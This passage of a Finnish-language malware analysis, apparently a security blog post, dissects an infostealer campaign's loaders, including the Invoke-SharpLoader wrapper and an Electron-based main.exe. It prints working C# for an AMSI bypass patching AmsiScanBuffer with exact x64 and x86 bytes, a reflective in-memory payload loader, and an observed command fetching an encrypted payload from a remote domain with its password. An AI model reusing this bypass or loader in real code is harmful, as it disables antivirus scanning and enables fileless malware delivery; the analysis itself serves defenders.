käynnistämisestä, vaan muodosti myös osan sen ",[568,1779,1780],{},"jatkuvasta ajonaikaisesta validoinnista",". Ilman tätä tynkää haittaohjelma voisi menettää kykynsä alustaa itsensä uudelleen tulevissa istunnoissa.",[526,1783,1784],{},[568,1785,1786,1788],{},[579,1787,602],{},":n keskeiset toiminnot:",[631,1790,1791,1796,1801,1804],{},[634,1792,1793,1795],{},[579,1794,606],{},":n saumaton toimitus",[634,1797,1798,1800],{},[579,1799,610],{},":n epäsuora suoritus",[634,1802,1803],{},"Loaderin ja payload-logiikan erottaminen toisistaan",[634,1805,1806,1809],{},[568,1807,1808],{},"Payload itse viittaa siihen"," osana operatiivista terveysvalvontaa",[526,1811,1812],{},"Luvussa 5 käsittelemme yksityiskohtaisesti stealerin sisäisiä terveystarkistusrutiineja, mukaan lukien sen itsekorjautuvan käyttäytymisen ja eheyden validointimekanismit.",[526,1814,1815,1816,1818],{},"Toistaiseksi on selvää, että ",[579,1817,602],{}," toimi tässä kerroksellisessa infostealer-arkkitehtuurissa sekä sytytyksenä että ankkuripisteenä.",[748,1820,1822],{"id":1821},"_36-poimintatemppu-loaderin-päihittäminen","3.6 Poimintatemppu: loaderin päihittäminen",[526,1824,754],{},[526,1826,1827],{},"Toisinaan parhaat reverse engineering -tulokset eivät synny syvästä binäärien purkamisesta — vaan pienestä juonittelusta ja kärsivällisyydestä.",[526,1829,1830,1831,1833,1834,1836],{},"Kun analysoimme tartuntaa hallitussa laboratorioympäristössä, huomasimme jotain outoa: ",[579,1832,602],{}," oli paikalla ja suorittui, mutta ",[579,1835,606],{}," oli kadonnut tiedostojärjestelmästä. Silloin saimme idean — mitä tapahtuu, jos annamme haittaohjelman korjata itsensä?",[526,1838,1839,1840,1845,1846,1848],{},"Poistimme tarkoituksellisesti ",[568,1841,1842,1844],{},[579,1843,606],{},":n"," saastuneesta ympäristöstä ja jätimme ",[579,1847,602],{},":n koskematta. Ja aivan varmasti, seuraavan käyttäjäistunnon kirjautumisen jälkeen loader ryhtyi toimeen — ei kiukuttelemalla, vaan hiljaisella yrityksellä rakentaa toinen vaiheensa uudelleen.",[526,1850,1851,1852,1854,1855,1857,1858,1861,1862,1865,1866,647,1868,1291,1871,1873],{},"Tässä kohtaa asia muuttui kiinnostavaksi: sen sijaan että ",[579,1853,602],{}," olisi luonut ",[579,1856,606],{},":n suoraan uudelleen, se pudotti ensin tiedoston nimeltä ",[579,1859,1860],{},"app-64.7z"," — tavallisen ",[568,1863,1864],{},"7-Zip-arkiston",". Tämä arkisto sisälsi koko Electron-sovellusrakenteen, mukaan lukien ",[579,1867,606],{},[579,1869,1870],{},"resources",[579,1872,1082],{},"-payload kaikella upotetulla logiikallaan.",[526,1875,1876,1877,726],{},"Olimme käytännössä ",[568,1878,1879],{},"pakottaneet haittaohjelman luovuttamaan meille lähdepaketin",[526,1881,1882],{},[782,1883],{"alt":1884,"src":1885},"Suspicious Updater Executable Detected","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[526,1887,1888],{},"Kun tämä 7z-arkisto oli käsissämme, pystyimme purkamaan ja kääntämään takaisin JavaScript-pohjaisen orkestrointilogiikan kokonaan koskematta enää alkuperäiseen loaderiin. Arkiston rakenne vastasi odotettua Electron-sovelluksen asettelua täydellisesti.",[526,1890,1891,1892,1895],{},"Tämä käyttäytyminen viittaa vahvasti siihen, että hyökkääjät valitsivat tarkoituksella ",[568,1893,1894],{},"modulaarisen ja ylläpidettävän arkkitehtuurin",", jossa arkistot toimivat joustavina payload-säiliöinä. Se antoi heille myös mahdollisuuden vaihtaa tai päivittää payload-komponentteja kääntämättä loader-binääriä uudelleen.",[526,1897,1898],{},"Ja meidän tapauksessamme? Se antoi meille mahdollisuuden päihittää heidän ketjunsa, siepata pudotuksen ja kävellä pois koko paketin kanssa — kuin varastaisi piirustukset työpöydältä rakentajan katsoessa muualle.",[526,1900,1901,1902],{},"Sanotaan näin: ",[568,1903,1904,1905,647,1908,1911],{},"toisinaan parhaat forensiset työkalut ovat ",[579,1906,1907],{},"del",[579,1909,1910],{},"wait"," ja ripaus uteliaisuutta.",[557,1913,1915,1916],{"id":1914},"_4-deep-dive-powbat","4. Deep Dive: ",[579,1917,1918],{},"pow.bat",[526,1920,563],{},[526,1922,1923,1924,1927],{},"Analysoidussa haittaohjelmakampanjassa komponentti ",[579,1925,1926],{},"Invoke-SharpLoader"," toimii räätälöitynä, muistinvaraisena .NET-loaderina, jonka suoritusvirta on erittäin modulaarinen ja väistelevä. Tässä luvussa pilkomme osiin sen sisäisen arkkitehtuurin, sen analyysin vastaisen strategian AMSI-patchauksen kautta ja sen roolin toisen vaiheen payloadin mahdollistajana.",[748,1929,1931],{"id":1930},"_41-binäärin-ominaisuudet-sharploaderin-batch-kääre","4.1 Binäärin ominaisuudet – SharpLoaderin batch-kääre",[526,1933,754],{},[526,1935,1936,1937,1939],{},"Ennen kuin ulompi kääre ",[579,1938,1918],{}," suoritetaan .NET-payloadin lataamiseksi muistiin, sillä on staattisen analyysin perusteella seuraavat ominaisuudet:",[1430,1941,1942,1950],{},[1433,1943,1944],{},[1436,1945,1946,1948],{},[1439,1947,1441],{},[1439,1949,1444],{},[1446,1951,1952,1961,1970,1980,1989,1999,2009,2018],{},[1436,1953,1954,1958],{},[1451,1955,1956],{},[568,1957,1455],{},[1451,1959,1960],{},"DOS-batch-tiedosto",[1436,1962,1963,1967],{},[1451,1964,1965],{},[568,1966,1465],{},[1451,1968,1969],{},"Skriptipohjainen (ei käännetty binääri)",[1436,1971,1972,1977],{},[1451,1973,1974],{},[568,1975,1976],{},"Tiedostokoko:",[1451,1978,1979],{},"27,79 KB (28454 tavua)",[1436,1981,1982,1986],{},[1451,1983,1984],{},[568,1985,1485],{},[1451,1987,1988],{},"Normaali (pelkkä ASCII-teksti)",[1436,1990,1991,1996],{},[1451,1992,1993],{},[568,1994,1995],{},"Magic:",[1451,1997,1998],{},"DOS batch file, ASCII text",[1436,2000,2001,2006],{},[1451,2002,2003],{},[568,2004,2005],{},"Digitaalinen allekirjoitus:",[1451,2007,2008],{},"Ei havaittu",[1436,2010,2011,2015],{},[1451,2012,2013],{},[568,2014,1505],{},[1451,2016,2017],{},"26 / 61 (analyysin hetkellä)",[1436,2019,2020,2025],{},[1451,2021,2022],{},[568,2023,2024],{},"Uhkaluokitukset:",[1451,2026,2027,647,2030,647,2033,647,2035],{},[579,2028,2029],{},"trojan",[579,2031,2032],{},"downloader",[579,2034,1714],{},[579,2036,2037],{},"agentb",[526,2039,2040,2041,2044],{},"Vaikka kyseessä on yksinkertainen ",[579,2042,2043],{},".bat","-tiedosto, skripti välttää monet staattiset havainnot ja nojaa vahvasti living-off-the-land-tekniikoihin, kuten PowerShelliin, obfuskoitujen ja salattujen payloadien lataamisessa ja suorittamisessa.",[748,2046,2048,2049,1149],{"id":2047},"_42-amsi-ohitustekniikka-luokka-gofor4msi","4.2 AMSI-ohitustekniikka (luokka: ",[579,2050,2051],{},"gofor4msi",[526,2053,754],{},[526,2055,2056],{},"Yksi ensimmäisistä puolustusmekanismeista, jotka SharpLoader ohittaa, on AMSI — Anti-Malware Scan Interface — Microsoftin ominaisuus, joka on integroitu skriptimoottoreihin, kuten PowerShelliin ja Windows Script Hostiin, tarjoamaan reaaliaikaista sisällön skannausta epäilyttävän käyttäytymisen varalta. Haittaohjelmien tekijät yrittävät usein ohittaa AMSI:n välttääkseen päätelaitesuojauksen havaitsemisen.",[526,2058,2059,2060,2063,2064,2067,2068,2071,2072,2075,2076,2079],{},"SharpLoaderissa AMSI-ohitus on toteutettu ",[568,2061,2062],{},"suoralla muistinsisäisellä patchauksella"," ",[579,2065,2066],{},"amsi.dll","-kirjaston ",[579,2069,2070],{},"AmsiScanBuffer","-funktioon. Tämä funktio vastaa normaalisti skriptisisällön analysoinnista ja palauttaa tuloskoodin, joka kertoo, onko sisältö epäilyttävää (",[579,2073,2074],{},"AMSI_RESULT_DETECTED",") vai turvallista (",[579,2077,2078],{},"AMSI_RESULT_CLEAN",").",[526,2081,2082],{},"Asiaan liittyvä muistinsisäinen patchauskoodi on:",[616,2084,2088],{"className":2085,"code":2086,"language":2087,"meta":530,"style":530},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[579,2089,2090,2095,2100,2106],{"__ignoreMap":530},[1718,2091,2092],{"class":1720,"line":1721},[1718,2093,2094],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1718,2096,2097],{"class":1720,"line":531},[1718,2098,2099],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1718,2101,2103],{"class":1720,"line":2102},3,[1718,2104,2105],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1718,2107,2109],{"class":1720,"line":2108},4,[1718,2110,2111],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[526,2113,2114],{},"Tämä sarja suorittaa seuraavat vaiheet:",[738,2116,2117,2126,2138,2148],{},[634,2118,2119,2122,2123,726],{},[568,2120,2121],{},"Lataa AMSI-DLL"," prosessiin komennolla ",[579,2124,2125],{},"LoadLibrary(\"amsi.dll\")",[634,2127,2128,2131,2132,2134,2135,726],{},[568,2129,2130],{},"Selvittää muistiosoitteen"," funktiolle ",[579,2133,2070],{}," kutsulla ",[579,2136,2137],{},"GetProcAddress()",[634,2139,2140,2143,2144,2147],{},[568,2141,2142],{},"Muuttaa muistin suojauksen"," osoitteessa kutsulla ",[579,2145,2146],{},"VirtualProtect()"," tehden siitä kirjoitettavan.",[634,2149,2150,2134,2153,2156],{},[568,2151,2152],{},"Ylikirjoittaa funktion alun",[579,2154,2155],{},"Marshal.Copy()"," pienellä shellcode-patchilla.",[526,2158,2159],{},"64-bittisiin järjestelmiin sovellettava patch on:",[616,2161,2163],{"className":2085,"code":2162,"language":2087,"meta":530,"style":530},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[579,2164,2165],{"__ignoreMap":530},[1718,2166,2167],{"class":1720,"line":1721},[1718,2168,2162],{},[526,2170,2171],{},"Tämä vastaa seuraavia käskyjä:",[631,2173,2174,2183],{},[634,2175,2176,2179,2180],{},[579,2177,2178],{},"mov eax, 0x80070057"," → asettaa palautuskoodin Windowsin virhekoodiksi ",[579,2181,2182],{},"E_INVALIDARG",[634,2184,2185,2188],{},[579,2186,2187],{},"ret"," → palaa välittömästi funktiosta",[526,2190,2191,2192,2195],{},"Tämä saa ",[579,2193,2194],{},"AmsiScanBufferin"," käytännössä epäonnistumaan hiljaisesti ja palauttamaan ei-havainto-tuloksen, mikä neutraloi AMSI-tarkistukset. Haittaohjelma voi nyt suorittaa skriptejä tai .NET-koodia, joka muuten laukaisisi virustorjuntahälytyksiä.",[526,2197,2198],{},"Jos suoritus tapahtuu 32-bittisessä järjestelmässä, sovelletaan eri patchia:",[616,2200,2202],{"className":2085,"code":2201,"language":2087,"meta":530,"style":530},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[579,2203,2204],{"__ignoreMap":530},[1718,2205,2206],{"class":1720,"line":1721},[1718,2207,2201],{},[526,2209,2210],{},"Tämä heijastaa samaa tavoitetta — \"puhtaan\" tuloksen pakottamista — mutta mukautettuna x86-kutsukonventioon.",[526,2212,2213,2214,647,2217,1291,2220,2223],{},"Raakojen P/Invoke-kutsujen, kuten ",[579,2215,2216],{},"LoadLibrary",[579,2218,2219],{},"GetProcAddress",[579,2221,2222],{},"VirtualProtect",", käyttö mahdollistaa patchauksen dynaamisesti ja ilman korkean tason API-rajapintoja, joita EDR-työkalut saattaisivat valvoa. Menetelmä on tiivis, tehokas ja jättää minimaalisesti forensisia artefakteja.",[526,2225,2226,2227,2230],{},"Yhteenvetona tämä AMSI-ohitustekniikka on ",[568,2228,2229],{},"matalan tason, suora muistihyökkäys virustorjuntarajapintaan",", joka toteutetaan millisekunneissa ajon aikana. Se on voimallinen esimerkki siitä, miksi käyttäytymisen valvonta ja muistin tarkastelu ovat välttämättömiä nykyaikaisissa päätelaitesuojauksissa.",[748,2232,2234],{"id":2233},"_43-toisen-vaiheen-payloadin-käsittely","4.3 Toisen vaiheen payloadin käsittely",[526,2236,754],{},[526,2238,2239,2240,2243],{},"Kun AMSI-ohitus on valmis, loader siirtyy hakemaan ja valmistelemaan toisen vaiheen payloadia. Tätä payloadia ei ole upotettu loaderiin itseensä, vaan se haetaan joko etäpalvelimelta tai luetaan levyltä — riippuen siitä, miten loaderia kutsutaan ",[579,2241,2242],{},"$location","-parametrin kautta.",[526,2245,2246,2247,2250,2251,2254,2255,2258,2259,2262,2263,2266],{},"Jos sijainti alkaa merkkijonolla ",[579,2248,2249],{},"http",", se tulkitaan URL-osoitteeksi ja loader lataa payloadin funktiolla ",[579,2252,2253],{},"Get_Stage2()"," käyttäen ",[579,2256,2257],{},"HttpWebRequest","-luokkaa. Jos kyseessä on paikallinen polku, ",[579,2260,2261],{},"Get_Stage2disk()"," lukee sisällön suoraan tiedostojärjestelmästä. Kummassakin tapauksessa odotettu tiedostosisältö on ",[568,2264,2265],{},"Base64-koodattu, GZip-pakattu ja AES-salattu"," möykky.",[526,2268,2269,2270,2273],{},"Loader suorittaa sen jälkeen ",[568,2271,2272],{},"nelivaiheisen dekoodaus- ja salauksenpurkuputken"," kokonaan muistissa:",[738,2275,2276,2282,2292,2302],{},[634,2277,2278,2281],{},[568,2279,2280],{},"Base64-dekoodaus",": Muuntaa koodatun merkkijonon raakatavuiksi. Tämän vaiheen tarkoitus on hämärtää varsinainen binäärisisältö staattisilta tarkastustyökaluilta ja estää suoraviivainen kuvioiden tunnistus.",[634,2283,2284,2287,2288,2291],{},[568,2285,2286],{},"GZip-purku",": Dekoodatut tavut syötetään ",[579,2289,2290],{},"GZipStream","-luokalle, joka purkaa payloadin. Pakkaus pienentää tiedostokokoa ja lisää uuden obfuskointikerroksen.",[634,2293,2294,2297,2298,2301],{},[568,2295,2296],{},"AES-salauksen purku",": Pakatut tavut puretaan AES-algoritmilla (Rijndael) CBC-tilassa. Avain johdetaan ajon aikana käyttäjän antamasta salasanasta SHA-256-tiivisteellä yhdistettynä PBKDF2:een (",[579,2299,2300],{},"Rfc2898DeriveBytes",") ja staattiseen suolaan.",[634,2303,2304,2307],{},[568,2305,2306],{},"Suolan poisto",": Purettu tulos sisältää edelleen kiinteän pituisen suolaetuliitteen (4 tavua). Nämä tavut poistetaan käsin, jotta saadaan puhdas binäärimöykky, joka edustaa kelvollista .NET-assemblya.",[526,2309,2310],{},"Salauksenpurkuputki suoritetaan näin:",[616,2312,2314],{"className":2085,"code":2313,"language":2087,"meta":530,"style":530},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[579,2315,2316,2321],{"__ignoreMap":530},[1718,2317,2318],{"class":1720,"line":1721},[1718,2319,2320],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1718,2322,2323],{"class":1720,"line":531},[1718,2324,2325],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[526,2327,2328,2329,2332],{},"Tässä ",[579,2330,2331],{},"AES_Decrypt()"," on räätälöity funktio, joka kapseloi Rijndael-algoritmin ja on konfiguroitu 256-bittisellä avaimella ja 128-bittisellä IV:llä (alustusvektorilla), jotka kummatkin johdetaan salasanasta.",[526,2334,2335],{},[568,2336,2337],{},"Keskeisiä suunnitteluhavaintoja:",[631,2339,2340,2343,2346],{},[634,2341,2342],{},"AES-CBC:n käyttö PBKDF2:n kanssa tekee salasanan raa'an voiman murtamisesta ei-triviaalia.",[634,2344,2345],{},"Koska salauksen purku tapahtuu muistissa, välituloksia ei kirjoiteta koskaan levylle — mikä vähentää forensisia artefakteja.",[634,2347,2348],{},"Jos annetaan väärä salasana, salauksen purku epäonnistuu hiljaisesti tai tuottaa virheellistä dataa, mikä voi johtaa epäonnistuneeseen suoritukseen tai vaikeasti jäljitettäviin poikkeuksiin.",[526,2350,2351],{},"Yhteenvetona tämä monivaiheinen payloadin käsittelytapa nostaa merkittävästi kynnystä sekä signatuuri- että heuristiikkapohjaiselle staattiselle havaitsemiselle. Ilman elävää suoritusta tai loaderin käyttäytymisen syvällistä tarkastelua puolustajat eivät todennäköisesti paljasta upotettua payloadia, ellei heillä ole myös salasanaa ja tarkkaa dekoodauslogiikkaa.",[748,2353,2355],{"id":2354},"_44-dynaaminen-assemblyn-lataus","4.4 Dynaaminen assemblyn lataus",[526,2357,754],{},[526,2359,2360],{},"Kun toisen vaiheen payloadin salaus on purettu onnistuneesti, syntynyt tavutaulukko edustaa kelvollista .NET-assemblya. Sen sijaan että tämä assembly kirjoitettaisiin levylle — mikä on yleinen indikaattori virustorjunta- tai EDR-järjestelmille — SharpLoader suorittaa sen suoraan muistissa reflektion avulla:",[616,2362,2364],{"className":2085,"code":2363,"language":2087,"meta":530,"style":530},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[579,2365,2366,2371],{"__ignoreMap":530},[1718,2367,2368],{"class":1720,"line":1721},[1718,2369,2370],{},"Assembly a = Assembly.Load(bin);\n",[1718,2372,2373],{"class":1720,"line":531},[1718,2374,2375],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[526,2377,2378,2379,2382],{},"Tätä tekniikkaa kutsutaan ",[568,2380,2381],{},"tiedostottomaksi suoritukseksi",". Se on erittäin väistelevä, koska se:",[631,2384,2385,2388,2391],{},[634,2386,2387],{},"Välttää levyn koskettamisen eikä jätä tiedostopohjaisia IOC-indikaattoreita (kompromissi-indikaattoreita)",[634,2389,2390],{},"Vaikeuttaa perinteistä forensista talteenottoa, koska levylle ei tallenneta binääriä",[634,2392,2393],{},"Väistää staattisen signatuuripohjaisen havaitsemisen, koska virustorjuntamoottorit nojaavat usein tiedostojen skannaamiseen",[526,2395,2396,2397,2400,2401,2404],{},"Jos ",[579,2398,2399],{},"EntryPoint"," ei ole ",[579,2402,2403],{},"static",", loader sisältää varalogiikan:",[616,2406,2408],{"className":2085,"code":2407,"language":2087,"meta":530,"style":530},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[579,2409,2410,2415,2420,2425,2430,2436],{"__ignoreMap":530},[1718,2411,2412],{"class":1720,"line":1721},[1718,2413,2414],{},"MethodInfo method = a.EntryPoint;\n",[1718,2416,2417],{"class":1720,"line":531},[1718,2418,2419],{},"if (method != null)\n",[1718,2421,2422],{"class":1720,"line":2102},[1718,2423,2424],{},"{\n",[1718,2426,2427],{"class":1720,"line":2108},[1718,2428,2429],{},"    object o = a.CreateInstance(method.Name);\n",[1718,2431,2433],{"class":1720,"line":2432},5,[1718,2434,2435],{},"    method.Invoke(o, null);\n",[1718,2437,2439],{"class":1720,"line":2438},6,[1718,2440,2441],{},"}\n",[526,2443,2444,2445,2448],{},"Tämä varmistaa yhteensopivuuden assemblyjen kanssa, jotka vaativat suoritukseen instantioidun olion (esim. ",[579,2446,2447],{},"public int Main()"," luokan instanssin sisällä). Koodi luo dynaamisesti luokan instanssin ja kutsuu sitten sisääntulopisteen metodia.",[526,2450,2451],{},"Yhdistettynä AMSI-ohitukseen ja muistinsisäiseen salauksen purkuun tämä mekanismi toimittaa lopullisen payloadin suoritukseen huomaamattomasti ja täysin tiedostottomasti — nykyaikaisen, välttelevän haittaohjelman tunnusmerkki.",[748,2453,2455],{"id":2454},"_45-komentoriviparametrit-ja-joustavuus","4.5 Komentoriviparametrit ja joustavuus",[526,2457,754],{},[526,2459,2460,2461,2463],{},"PowerShell-funktio ",[579,2462,1926],{}," on suunniteltu toimimaan joustavana kääreenä mielivaltaisille .NET-payloadeille. Se tukee sekä payloadin sijainnin että argumenttien dynaamista syöttöä, jolloin yhtä loader-instanssia voidaan käyttää uudelleen useissa operaatioissa tai kampanjoissa.",[526,2465,2466],{},[568,2467,2468],{},"Tuetut parametrit:",[631,2470,2471,2477,2483,2503],{},[634,2472,2473,2476],{},[579,2474,2475],{},"-location"," (pakollinen): Määrittää joko URL-osoitteen tai paikallisen tiedostopolun toisen vaiheen salattuun payloadiin.",[634,2478,2479,2482],{},[579,2480,2481],{},"-password"," (pakollinen): Käytetään AES-salauksenpurkuavaimen johtamiseen.",[634,2484,2485,647,2488,647,2491,2494,2495,2498,2499,2502],{},[579,2486,2487],{},"-argument",[579,2489,2490],{},"-argument2",[579,2492,2493],{},"-argument3"," (valinnaisia): Nämä välitetään suoraan ",[579,2496,2497],{},".NET","-assemblyn ",[579,2500,2501],{},"Main()","-metodille reflektion kautta.",[634,2504,2505,2508],{},[579,2506,2507],{},"-noArgs",": Käynnistää suorituksen välittämättä toisen vaiheen payloadille parametreja.",[526,2510,2511],{},"Sisäisesti argumentit kerätään ja välitetään näin:",[616,2513,2515],{"className":1712,"code":2514,"language":1714,"meta":530,"style":530},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[579,2516,2517,2522],{"__ignoreMap":530},[1718,2518,2519],{"class":1720,"line":1721},[1718,2520,2521],{},"object[] cmd = args.Skip(2).ToArray();\n",[1718,2523,2524],{"class":1720,"line":531},[1718,2525,2526],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[526,2528,2529],{},"Tämä tarkoittaa, että .NET-payloadilta odotetaan seuraavanlaista allekirjoitusta:",[616,2531,2533],{"className":2085,"code":2532,"language":2087,"meta":530,"style":530},"static void Main(string[] args)\n",[579,2534,2535],{"__ignoreMap":530},[1718,2536,2537],{"class":1720,"line":1721},[1718,2538,2532],{},[526,2540,2541,2542,2544],{},"tai se palautuu hallitusti parametrittomaan ",[579,2543,2501],{},"-varianttiin varalogiikan kautta. Tämä käyttäytyminen antaa red teameille tai haittaohjelmien tekijöille mahdollisuuden luoda monikäyttöisiä toisia vaiheita, jotka voivat suorittaa eri toimintoja syötteen mukaan — esimerkiksi käynnistää implantin, kerätä järjestelmätietoja tai käynnistää C2-viestinnän.",[526,2546,2547],{},"Tällainen modulaarisuus ja konfiguroitavuus ovat kehittyneiden haittaohjelmakehysten keskeisiä ominaisuuksia, ja ne havainnollistavat, miten skriptipohjaiset loaderit voivat toimia erittäin mukautuvina suoritusympäristöinä alavirran payloadeille.",[748,2549,2551],{"id":2550},"_46-käyttöesimerkki-käytännöstä","4.6 Käyttöesimerkki käytännöstä",[526,2553,754],{},[526,2555,2556],{},"Havainnollistaakseni SharpLoaderin todellista suoritusta aidossa kampanjassa, tarkastellaan seuraavaa luonnossa havaittua kutsua:",[616,2558,2560],{"className":1712,"code":2559,"language":1714,"meta":530,"style":530},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[579,2561,2562],{"__ignoreMap":530},[1718,2563,2564],{"class":1720,"line":1721},[1718,2565,2559],{},[526,2567,2568],{},"Tämä esimerkki tuo esiin SharpLoaderin tyypillisen käyttötapauksen:",[631,2570,2571,2585,2597,2607],{},[634,2572,2573,2576,2577,2580,2581,2584],{},[568,2574,2575],{},"Sijaintiargumentti",": URL osoittaa etäpalvelimelle, joka ylläpitää tiedostoa ",[579,2578,2579],{},"calc.enc",", kätkettyä toisen vaiheen payloadia. Päätepiste sijaitsee laillisen näköisen ",[579,2582,2583],{},".well-known","-hakemiston alla, jota käytetään usein HTTPS-sertifikaattien validointiin, mikä auttaa sulauttamaan URL-osoitteen lailliseen verkkoliikenteeseen.",[634,2586,2587,1008,2590,2592,2593,2596],{},[568,2588,2589],{},"Payloadin ominaisuudet",[579,2591,2579],{}," on ",[568,2594,2595],{},"kolminkertaisesti obfuskoitu tiedosto"," — Base64-koodattu, GZip-pakattu ja AES-salattu. Tämä obfuskointiputki varmistaa, että payload on läpinäkymätön useimmille havaitsemismekanismeille, ellei se suoriteta ja pureta täysin muistissa.",[634,2598,2599,2602,2603,2606],{},[568,2600,2601],{},"Salasana-argumentti",": Merkkijonoa ",[579,2604,2605],{},"UwUFufu1"," käytetään ajon aikana AES-avaimen johtamiseen SHA-256:n ja PBKDF2:n avulla. Ilman tätä salasanaa payloadia ei voi purkaa, mikä tekee offline-analyysistä ilman kontekstia lähes mahdottomaksi.",[634,2608,2609,2612,2613,2615],{},[568,2610,2611],{},"Ei lisäargumentteja",": Kytkin ",[579,2614,2507],{}," osoittaa, ettei puretulle .NET-assemblylle välitetä komentoriviparametreja, mikä käynnistää sen oletussuorituspolun.",[526,2617,2618,2619,2622],{},"Tämä huomaamaton kutsuketju kapseloi SharpLoaderin ydintarkoituksen: ",[568,2620,2621],{},"tiedostoton, mukautuva ja turvattu payloadin toimitus"," yksinkertaisella PowerShell-syntaksilla, maksimaalisella obfuskoinnilla ja väistelyllä.",[748,2624,2626],{"id":2625},"_47-yhteenveto","4.7 Yhteenveto",[526,2628,754],{},[526,2630,2631,2633],{},[579,2632,1926],{},"-rakennelma on esimerkki erittäin hienostuneesta ja välttelevästä haittaohjelman vaiheistustekniikasta, joka hyödyntää järjestelmän omia komponentteja, reflektiota ja kryptografiaa toimien lähes kokonaan muistissa.",[526,2635,2636],{},[568,2637,2638],{},"Keskeiset kohokohdat:",[631,2640,2641,2649,2655,2661],{},[634,2642,2643,1008,2646,2648],{},[568,2644,2645],{},"AMSI:n ohittaminen",[579,2647,2194],{}," suora muistinsisäinen patchaus kytkee virustorjuntatarkastuksen pois ilman havaittavia API-kutsuja.",[634,2650,2651,2654],{},[568,2652,2653],{},"Turvattu payloadin käsittely",": Salattujen ja pakattujen toisen vaiheen payloadien hakeminen varmistaa luottamuksellisuuden ja lisää useita väistelykerroksia.",[634,2656,2657,2660],{},[568,2658,2659],{},"Pelkästään muistissa tapahtuva suoritus",": Purettuja payloadeja ei koskaan kirjoiteta levylle, mikä tekee havaitsemisesta perinteisillä tiedostopohjaisilla skannereilla lähes mahdottomaksi.",[634,2662,2663,2666],{},[568,2664,2665],{},"Modulaarinen ja uudelleenkäytettävä arkkitehtuuri",": PowerShell-parametrien kautta SharpLoaderia voidaan käyttää joustavasti uudelleen eri kampanjoissa vaihtelevilla payloadeilla ja ajonaikaisilla käyttäytymisillä.",[557,2668,2670,2671,2673],{"id":2669},"_5-deep-dive-mainexe-electron-pohjainen-haittaohjelman-loader","5. Deep Dive: ",[579,2672,606],{}," – Electron-pohjainen haittaohjelman loader",[526,2675,563],{},[526,2677,2678,2679,2681,2682,2685,2686,2688,2689,2691],{},"Reverse engineeringin aikana kävi selväksi, että Microsoft Defender for Endpointin merkitsemä ",[579,2680,606],{}," ei ollut tavanomainen binääri vaan ",[568,2683,2684],{},"Electron-pohjainen haittaohjelman loader",". Se toimitettiin arkistossa nimeltä ",[579,2687,1860],{},", jonka ",[579,2690,602],{}," latasi ja purki ajon aikana. Purettuna sen rakenne ja sisältö muistuttivat vahvasti tyypillistä Electron-sovellusta.",[748,2693,2695],{"id":2694},"_51-electron-rakenteen-tunnistaminen","5.1 Electron-rakenteen tunnistaminen",[526,2697,754],{},[526,2699,2700],{},"Purettu kansio sisälsi muun muassa seuraavat tiedostot:",[631,2702,2703,2714,2722,2728],{},[634,2704,2705,647,2708,647,2711],{},[579,2706,2707],{},"chrome_100_percent.pak",[579,2709,2710],{},"v8_context_snapshot.bin",[579,2712,2713],{},"d3dcompiler_47.dll",[634,2715,2716,1291,2719],{},[579,2717,2718],{},"LICENSES.chromium",[579,2720,2721],{},"LICENSES.electron",[634,2723,2724,2725,2727],{},"Suuri ",[579,2726,606],{},"-binääri (~150 MB)",[634,2729,2730,2732,2733,2735,2736],{},[579,2731,1870],{},"-kansio, joka sisältää ",[579,2734,1082],{},"-arkiston ja toisen binäärin ",[579,2737,2738],{},"elevate.exe",[526,2740,2741],{},[782,2742],{"alt":2743,"src":2744},"Packaged Windows 64-bit version of the desktop app","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[526,2746,2747,2748,2750],{},"Nämä kaikki ovat vahvoja merkkejä Electron-sovelluksesta, joka käyttää Chromiumia ja Node.js:ää JavaScript-pohjaisten työpöytäsovellusten paketointiin. ",[579,2749,2738],{},":n läsnäolo, allekirjoitettu Microsoft-binääri, jota käytetään usein oikeuksien korottamiseen, herätti lisää epäilyksiä—sitä voitaisiin väärinkäyttää lapsiprosessien käynnistämiseen korotetuin oikeuksin.",[748,2752,2754],{"id":2753},"_52-purkaminen-ja-staattinen-analyysi-syväsukellus","5.2 Purkaminen ja staattinen analyysi (syväsukellus)",[526,2756,754],{},[526,2758,2759,2760,2762,2763,2765,2766,2768,2769,2771,2772,2775],{},"Sen sijaan että olisin suorittanut ",[579,2761,606],{},":n, valitsin staattisen analyysin lähestymistavan välttääkseni minkäänlaisen elävän käyttäytymisen laukaisemisen. Alkuperäinen epäilyni siitä, että ",[579,2764,606],{}," oli rakennettu Electronilla, vahvistui, kun löysin ",[579,2767,1082],{},"-tiedoston ",[579,2770,1870],{},"-hakemistosta. Electron-sovelluksissa tämä arkisto sisältää kaiken sovelluksen ydinlogiikan, kuten JavaScript-tiedostot, konfiguraation (",[579,2773,2774],{},"package.json",") ja resurssit, pakattuna räätälöityyn muotoon suorituskyvyn ja 